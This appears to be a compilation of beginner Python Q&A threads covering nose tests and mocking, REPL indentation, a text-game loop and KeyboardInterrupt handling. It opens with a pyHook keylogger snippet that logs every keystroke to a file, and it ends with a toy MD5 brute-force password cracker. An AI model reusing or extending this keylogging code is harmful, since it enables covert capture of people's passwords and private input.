I was trying to make a keylogger in pyhton and have stumbled upon this piece of code on numerous blogs:
file_log='F:\\test\\log.txt'
def onKeyboardEvent(event):
logging.basicConfig(filename=file_log,level=logging.DEBUG,format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager=pyHook.HookManager()
hooks_manager.KeyDown=onKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
Alright, I got three doubts here:
First,As far as I understand, chr(event.Ascii) is used to convert
ASCII values of keystrokes into valid char values, Why are we doing
it twice : chr(event.Ascii)
logging.log(10,chr(event.Ascii)). Isn't the line : chr(event.Ascii) redundant here.
Second , whats the use of 's' in format='%(message)s'
And third: I saved the file as '.pyw' But when I double-click it, it
wont work. Although, It works thru Cmd
As far as I understand, chr(event.Ascii) is used to convert ASCII values of keystrokes into valid char values, Why are we doing it twice : chr(event.Ascii) logging.log(10,chr(event.Ascii)). Isn't the line : chr(event.Ascii) redundant here.
Yes, you understand it correctly. And it would be useless even if it weren't redundant—this is just an expression statement that evaluates an expression with no side effects and does nothing with the results, so it has no effect, except to waste a bit of CPU time.
When you find random code somewhere on the internet, there's no guarantee that it's brilliant code.
Maybe the author was getting strange values, and decided they needed to be able to put a breakpoint right before or after that chr call, so they moved it out onto its own line. Or getting an exception, and didn't know how to tell whether it came from chr or log. Sure, either they should have then done s = chr(event.Ascii) and then used it in logging.log(10, s) or something, but maybe it was just a one-shot quick&dirty thing that they just forgot to revert.
Or maybe the author knows less about Python than you, or is an idiot, or just gets paid by the number of times they call builtins. Who knows?
Related
any code editor knows where to indent in python since python uses : as its indent flag, but after completing a code block, we will want our cursor to go back in the last place it was, like this:
def test_func():
print("Here we have an auto indent")
# but how to
# return, without pressing the backspace key
No, it is not possible for an IDE to know when your block is ending in all cases.
The are a few exceptions where it is reasonable to guess that you wanted to end the current indentation level. E.g. using pass to leave a block 'empty' where the Python grammar requires you to use a block, or using return, break or continue, statements that make it impossible for Python to reach the remainder of the indented block.
However, because you must un-indent to signal the end of a block in Python, your IDE can't know in all cases when a block ends either. You can easily follow a print() call with several empty lines, then another line of code at the same indentation level, and it'll still be part of test_func() body.
It depends entirely on your editor if they implement auto-indentation rules at all, but any that does, is bound by the same limitations inherent in Python.
I'm pretty new to this whole "programming thing" but at age 34 I thought that I'd like to learn the basics.
I unfortunately don't know any python programmers. I'm learning programming due to personal interest (and more and more for the fun of it) but my "social habitat" is not "where the programmers roam" ;) .
I'm almost finished with Zed Shaws "Learn Python the Hard Way" and for the first time I can't figure out a solution to a problem. The last two days I didn't even stumble upon useful hints where to look when I repeatedly rephrased (and searched for) my question.
So stackoverflow seems to be the right place.
Btw.: I lack also the correct vocabular quite often so please don't hesitate to correct me :) . This may be one reason why I can't find an answer.
I use Python 2.7 and nosetests.
How far I solved the problem (I think) in the steps I solved it:
Function 1:
def inp_1():
s = raw_input(">>> ")
return s
All tests import the following to be able to do the things below:
from nose.tools import *
import sys
from StringIO import StringIO
from mock import *
import __builtin__
# and of course the module with the functions
Here is the test for inp_1:
import __builtin__
from mock import *
def test_inp_1():
__builtin__.raw_input = Mock(return_value="foo")
assert_equal(inp_1(), 'foo')
This function/test is ok.
Quite similar is the following function 2:
def inp_2():
s = raw_input(">>> ")
if s == '1':
return s
else:
print "wrong"
Test:
def test_inp_2():
__builtin__.raw_input = Mock(return_value="1")
assert_equal(inp_1(), '1')
__builtin__.raw_input = Mock(return_value="foo")
out = StringIO()
sys.stdout = out
inp_1()
output = out.getvalue().strip()
assert_equal(output, 'wrong')
This function/test is also ok.
Please don't assume that I really know what is happening "behind the scenes" when I use all the stuff above. I have some layman-explanations how this is all functioning and why I get the results I want but I also have the feeling that these explanations may not be entirely true. It wouldn't be the first time that how I think sth. works turns out to be different after I've learned more. Especially everything with "__" confuses me and I'm scared to use it since I don't really understand what's going on. Anyway, now I "just" want to add a while-loop to ask for input until it is correct:
def inp_3():
while True:
s = raw_input(">>> ")
if s == '1':
return s
else:
print "wrong"
The test for inp_3 I thought would be the same as for inp_2 . At least I am not getting error messages. But the output is the following:
$ nosetests
......
# <- Here I press ENTER to provoke a reaction
# Nothing is happening though.
^C # <- Keyboard interrupt (is this the correct word for it?)
----------------------------------------------------------------------
Ran 7 tests in 5.464s
OK
$
The other 7 tests are sth. else (and ok).
The test for inp_3 would be test nr. 8.
The time is just the times passed until I press CTRL-C.
I don't understand why I don't get error- or "test failed"-meassages but just an "ok".
So beside the fact that you may be able to point out bad syntax and other things that can be improved (I really would appreciate it, if you would do this), my question is:
How can I test and abort while-loops with nosetest?
So, the problem here is when you call inp_3 in test for second time, while mocking raw_input with Mock(return_value="foo"). Your inp_3 function runs infinite loop (while True) , and you're not interrupting it in any way except for if s == '1' condition. So with Mock(return_value="foo") that condition is never satisfied, and you loop keeps running until you interrupt it with outer means (Ctrl + C in your example). If it's intentional behavior, then How to limit execution time of a function call in Python will help you to limit execution time of inp_3 in test. However, in cases of input like in your example, developers often implement a limit to how many input attempts user have. You can do it with using variable to count attempts and when it reaches max, loop should be stopped.
def inp_3():
max_attempts = 5
attempts = 0
while True:
s = raw_input(">>> ")
attempts += 1 # this is equal to "attempts = attempts + 1"
if s == '1':
return s
else:
print "wrong"
if attempts == max_attempts:
print "Max attempts used, stopping."
break # this is used to stop loop execution
# and go to next instruction after loop block
print "Stopped."
Also, to learn python I can recommend book "Learning Python" by Mark Lutz. It greatly explains basics of python.
UPDATE:
I couldn't find a way to mock python's True (or a builtin.True) (and yea, that sounds a bit crazy), looks like python didn't (and won't) allow me to do this. However, to achieve exactly what you desire, to run infinite loop once, you can use a little hack.
Define a function to return True
def true_func():
return True
, use it in while loop
while true_func():
and then mock it in test with such logic:
def true_once():
yield True
yield False
class MockTrueFunc(object):
def __init__(self):
self.gen = true_once()
def __call__(self):
return self.gen.next()
Then in test:
true_func = MockTrueFunc()
With this your loop will run only once. However, this construction uses a few advanced python tricks, like generators, "__" methods etc. So use it carefully.
But anyway, generally infinite loops considered to be bad design solutions. Better to not getting used to it :).
It's always important to remind me that infinite loops are bad. So thank you for that and even more so for the short example how to make it better. I will do that whenever possible.
However, in the actual program the infinite loop is how I'd like to do it this time. The code here is just the simplified problem.
I very much appreciate your idea with the modified "true function". I never would have thought about that and thus I learned a new "method" how tackle programming problems :) .
It is still not the way I would like to do it this time, but this was the so important clue I needed to solve my problem with existing methods. I never would have thought about returning a different value the 2nd time I call the same method. It's so simple and brilliant it's astonishing me :).
The mock-module has some features that allows a different value to be returned each time the mocked method is called - side effect .
side_effect can also be set to […] an iterable.
[when] your mock is going to be
called several times, and you want each call to return a different
value. When you set side_effect to an iterable every call to the mock
returns the next value from the iterable:
The while-loop HAS an "exit" (is this the correct term for it?). It just needs the '1' as input. I will use this to exit the loop.
def test_inp_3():
# Test if input is correct
__builtin__.raw_input = Mock(return_value="1")
assert_equal(inp_1(), '1')
# Test if output is correct if input is correct two times.
# The third time the input is corrct to exit the loop.
__builtin__.raw_input = Mock(side_effect=['foo', 'bar', '1'])
out = StringIO()
sys.stdout = out
inp_3()
output = out.getvalue().strip()
# Make sure to compare as many times as the loop
# is "used".
assert_equal(output, 'wrong\nwrong')
Now the test runs and returns "ok" or an error e.g. if the first input already exits the loop.
Thank you very much again for the help. That made my day :)
I use the IronPython Console when I feel like programming, but it does some wacky stuff. For example:
If a=("X")
it says "Unexpected token '=.'
Or this:
If a is ("X"):
print ("Y")
else:
print ("Z")
But it should end after that, it still puts in "...". Why?
First question:
if a=("X"):
is not valid Python code. You probably meant:
if a == ("X"):
For the second one, the REPL (read-eval-print loop - the shell) doesn't know when you're going to end a block until it sees an empty line. For example:
>>> if a == "X":
... print "Y"
... else:
... print "Z"
...
You might still want to enter another statement on the next line. If you leave it blank, the REPL knows that you're done that block and want to start a new one. This is a side-effect of Python's significant whitespace.
It should be:
if x==('x'):
print('x')
This is because the = is an assignment. == is a comparison.
I'm trying to learn Python with the help of Learning Python the Hard Way.
I've reached exercise 41 (Gothons from Planet Percal #25), you can see the full code >here<
I understand everything until the last function runner()
def runner(map, start)
next = start
while True:
room = map[next]
print "\n--------"
next = room()
runner(ROOMS, 'central_corridor')
As far as I can understand, next is assigned the value of start, being the key of the first function to run. The the while loop is initiated assigning the function at that key to room.
Then the function prints out a line of dashes and after that it assigns the returned value of the function call to the variable next.
What I don't understand is why the user "sees" the function being called. To me it looks like the function call is just assigned to a variable next. I would expect something like next() or room() being the next line. Secondly I don't understand why the while-loop stops, shouldn't it just continue until false or quit?
These might seem like foolish questions to most of you, but I'm new to the programming game and I don't understand the answers being given to this question elsewhere on this site.
Hope someone can dumb down to my level and explain it to me...
The user sees the function being called, because the function prints things.
The function is actually being called (with "room()") and the result of the call is set to next.
E.g. If the room is "the_bridge", some stuff is printed and then "death", "escape_pod" or "the_bridge" is returned.
While it's true that "while True:" is an infinite loop, Python has a way to quit the program entirely.
The call "exit(0)" quits the whole program right there and then, no questions asked.
I'm not sure how many questions you have, but I'll clarify two things:
(1) next = room() works because map is a dict, the values of which are functions, so room = map[next] retrieves a function from map, and stores that function in the variable room. The expression room() calls that function.
(2) Looking at the code, it does appear that the only exit from the loop will be when the programme exits, or when an exception (if any) is thrown.
The Gothon thing is not even Ex 41.
(Maybe it was before, when this post was written? It's Ex 43 now.)
Anyway, it's confusing.
I thought i finally found something relevant to ex 41, then i come here and see this...
Okay, so I'm writing a very simplistic password cracker in python that brute forces a password with alphanumeric characters. Currently this code only supports 1 character passwords and a password file with a md5 hashed password inside. It will eventually include the option to specify your own character limits (how many characters the cracker tries until it fails). Right now I cannot kill this code when I want it to die. I have included a try and except snippit, however it's not working. What did I do wrong?
Code: http://pastebin.com/MkJGmmDU
import linecache, hashlib
alphaNumeric = ["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z",1,2,3,4,5,6,7,8,9,0]
class main:
def checker():
try:
while 1:
if hashlib.md5(alphaNumeric[num1]) == passwordHash:
print "Success! Your password is: " + str(alphaNumeric[num1])
break
except KeyboardInterrupt:
print "Keyboard Interrupt."
global num1, passwordHash, fileToCrack, numOfChars
print "What file do you want to crack?"
fileToCrack = raw_input("> ")
print "How many characters do you want to try?"
numOfChars = raw_input("> ")
print "Scanning file..."
passwordHash = linecache.getline(fileToCrack, 1)[0:32]
num1 = 0
checker()
main
The way to allow a KeyboardInterrupt to end your program is to do nothing. They work by depending on nothing catching them in an except block; when an exception bubbles all the way out of a program (or thread), it terminates.
What you have done is to trap the KeyboardInterrupts and handle them by printing a message and then continuing.
As for why the program gets stuck, there is nothing that ever causes num1 to change, so the md5 calculation is the same calculation every time. If you wanted to iterate over the symbols in alphaNumeric, then do that: for symbol in alphaNumeric: # do something with 'symbol'.
Of course, that will still only consider every possible one-character password. You're going to have to try harder than that... :)
I think you're also confused about the use of classes. Python does not require you to wrap everything inside a class. The main at the end of your program does nothing useful; your code runs because it is evaluated when the compiler tries to figure out what a main class is. This is an abuse of syntax. What you want to do is put this code in a main function, and call the function (the same way you call checker currently).
Besides printing, you need to actually exit your program when capturin KeyboardInterrupt, you're only printing a message.
This is what worked for me...
import sys
try:
....code that hangs....
except KeyboardInterrupt:
print "interupt"
sys.exit()
Well, when you use that try and except block, the error is raised when that error occurs. In your case, KeyboardInterrupt is your error here. But when KeyboardInterrupt is activated, nothing happens. This due to having nothing in the except part. You could do this after importing sys:
try:
#Your code#
except KeyboardInterrupt:
print 'Put Text Here'
sys.exit()
sys.exit() is an easy way to safely exit the program. This can be used for making programs with passwords to end the program if the password is wrong or something like that. That should fix the except part. Now to the try part:
If you have break as the end of the try part, nothing is going to happen. Why? Because break only works on loops, most people tend to do it for while loops. Let's make some examples. Here's one:
while 1:
print 'djfgerj'
break
The break statement will stop and end the loop immediately unlike its brother continue, which continues the loop. That's just extra information. Now if you have break in a something like this:
if liners == 0:
break
That's going to depend where that if statement is. If it is in a loop, it is going to stop the loop. If not, nothing is going to happen. I am assuming you made an attempt to exit the function which didn't work. It looks like the program should end, so use sys.exit() like I showed you above. Also, you should group that last piece of code (in the class) into a seperate function. I hope this helps you!